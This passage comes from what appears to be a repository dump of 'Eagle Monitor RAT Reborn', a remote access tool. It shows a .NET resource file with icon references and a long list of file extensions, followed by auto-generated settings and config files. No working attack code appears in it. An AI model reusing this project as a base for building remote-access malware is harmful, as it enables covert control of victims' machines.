name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Windows.Forms\" name=\"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" />\n  <data name=\"single_line_text_input_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\single_line_text_input_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"Binary_Code_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\Binary Code_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"forward_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\forward_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_video_call\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_video_call.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"user_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\user_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_user\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_user.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"video_call_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\video_call_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"eagle21\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\eagle2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_index\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_index.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_system_task\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_system_task.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"imageres_4\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\imageres_4.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"send_letter_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\send_letter_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"time_machine_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\time_machine_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_microsoft_admin\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_microsoft_admin.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_wrench\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_wrench.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_keyboard\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_keyboard.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"save_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\save_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"extensions\" xml:space=\"preserve\">\n    <value>7Z\nACE\nADA\nADB\nADS\nAIF\nANI\nAPI\nARC\nARJ\nART\nASC\nASF\nASM\nASP\nASPX\nASX\nAU3\nAVI\nBAK\nBAS\nBASH\nBAT\nBFC\nBIN\nBMP\nBUD\nBZ2\nC\nCAB\nCAT\nCBL\nCBT\nCDA\nCDT\nCER\nCFML\nCGI\nCHM\nCLASS\nCLP\nCMAKE\nCMD\nCMF\nCOM\nCPL\nCPP\nCS\nCSS\nCSV\nCTY\nCWK\nCWS\nCUR\nD\nDAO\nDAT\nDB\nDBF\nDD\nDEB\nDEV\nDFM\nDIC\nDIF\nDIR\nDLL\nDMG\nDOC\nDOCKERFILE\nDOCM\nDOCX\nDOT\nDOTX\nDPR\nDRV\nDS\nDUN\nDWG\nDXF\nEL\nELM\nEMACS\nEMF\nEML\nEPS\nEPS2\nERL\nEVE\nEXE\nEX\nEXS\nFFL\nFFO\nFLA\nFLV\nFON\nFNT\nFS\nFSH\nFSI\nFSX\nGIF\nGID\nGO\nGRP\nGZ\nH\nHEX\nHLP\nHT\nHQX\nHTM\nHTML\nICL\nICM\nICO\nIFF\nIPYNB\nINC\nINF\nINI\nINO\nISO\nJAR\nJAVA\nJPEG\nJPG\nJS\nJSP\nJSX\nKBM\nKDC\nKIZ\nKQP\nKT\nKTM\nKTS\nL\nLAB\nLESS\nLEX\nLG\nLGO\nLHZ\nLIT\nLL\nLNK\nLOG\nLSP\nLUA\nM\nM3U\nM4A\nM4V\nMAQ\nMAR\nMD\nMDB\nMDL\nMFM\nMHT\nMHTML\nMID\nMM\nMOD\nMOV\nMPA\nMP3\nMP4\nMPG\nMPEG\nMPP\nMSG\nMSI\nNASM\nNCF\nNDX\nNFF\nNFF\nNITF\nNLM\nO\nOBD\nOCX\nODP\nODS\nODT\nOFT\nOGG\nOST\nOTF\nOZ\nPAGES\nPAK\nPAS\nPCL\nPCT\nPDF\nPDR\nPERL\nPHP\nPHTML\nPIF\nPKG\nPL\nPM\nPM3\nPM4\nPM5\nPM6\nPNG\nPOL\nPOT\nPOTM\nPOTX\nPPA\nPPAM\nPPD\nPPK\nPPS\nPPSX\nPPSM\nPPT\nPPTX\nPPTM\nPRN\nPS\nPSD\nPSP\nPST\nPY\nPYP\nPYT\nPYW\nPUB\nPWL\nQBB\nQBW\nQIF\nQXD\nRA\nRAM\nRAR\nRAW \nRDO\nREG\nRM\nRPM\nRSC\nRSS\nRTF\nSAV\nSCALA\nSBT\nSC\nSCR\nSEA\nSGML\nSH \nSHTML\nSIT\nSLK\nSMD\nSQL\nSVG\nSWF\nSWP\nSYS\nTAR\nTAR.GZ\nTCW\nTEX\nTGA\nTHMX\nTIF\nTIFF\nTMP\nTTF\nTXT\nUDF\nUUE\nVB\nVBS\nVBX\nVM\nVXD\nWAV\nWMA\nWMF\nWMV\nWPD\nWPS\nWRI\nWSF\nWSZ\nXCF\nXIF\nXHTML\nXLA\nXLAM\nXLR\nXLS\nXLSB\nXLSM\nXLSX\nXLT\nXLTM\nXLTX\nXLW\nXML\nXPS\nXSL\nYBK\nZ\nZIP\nZSH</value>\n  </data>\n  <data name=\"key_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\key_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_key\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_key.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_Tools\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_Tools.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_visual_basic\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_visual_basic.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"download_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\download_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"microphone_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\microphone_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_security_document\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_security_document.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_control_panel\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_control_panel.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_time_machine\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_time_machine.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"replay_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\replay_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_source_code\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_source_code.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_advanced_search\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_advanced_search.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_settings\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_settings.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_informatics\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_informatics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_parcel\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_parcel.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"folder_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"file_delete_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\file_delete_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"file_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\file_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_mail\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_mail.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"back_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\back_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"minus_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\minus_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"downloads_folder_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\downloads_folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_private_folder\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_private_folder.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"disconnected_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\disconnected_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_microphone\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_microphone.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_chat\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_chat.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"add_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\add_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"broken_link_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\broken_link_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"imageres_15\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\imageres_15.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"eagle2\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Logo\\eagle2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_schedule_mail\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_schedule_mail.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_file_explorer\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_file_explorer.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"github@2x\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\github@2x.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"direction_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\direction_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_text_input_form\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_text_input_form.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"end_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\end_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_information_32\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_information_32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"documents_folder_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\documents_folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"login_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\login_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_new_property\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_new_property.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_create\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_create.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"pin_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\pin_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_signal\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_signal.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_Binary_Code\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_Binary_Code.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_download\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_download.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_todo_list\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_todo_list.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_computer_virus\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_computer_virus.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_remote_desktop\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_remote_desktop.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_single_line_text_input\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_single_line_text_input.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_imac\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_imac.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_question_mark\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_question_mark.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"text_input_form_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\text_input_form_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_c_plus_plus\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_c_plus_plus.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"resume_button_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\resume_button_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_categorize\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_categorize.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"pause_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\pause_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_information\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_information.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_lock_file\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_lock_file.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_database_backup\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_database_backup.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"uninstall_programs_32px\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\uninstall_programs_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_command_line\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_command_line.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_electronics\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_electronics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n  <data name=\"icons8_ethernet_on\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\icons8_ethernet_on.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     Ce code a été généré par un outil.\n//     Version du runtime :4.0.30319.42000\n//\n//     Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si\n//     le code est régénéré.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace Eagle_Monitor_RAT_Reborn.Properties {\n    \n    \n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"17.3.0.0\")]\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\n        \n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\n        \n        public static Settings Default {\n            get {\n                return defaultInstance;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\n  <Profiles>\n    <Profile Name=\"(Default)\" />\n  </Profiles>\n  <Settings />\n</SettingsFile>\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/app.config",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n<startup><supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.8\"/></startup></configuration>\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs",
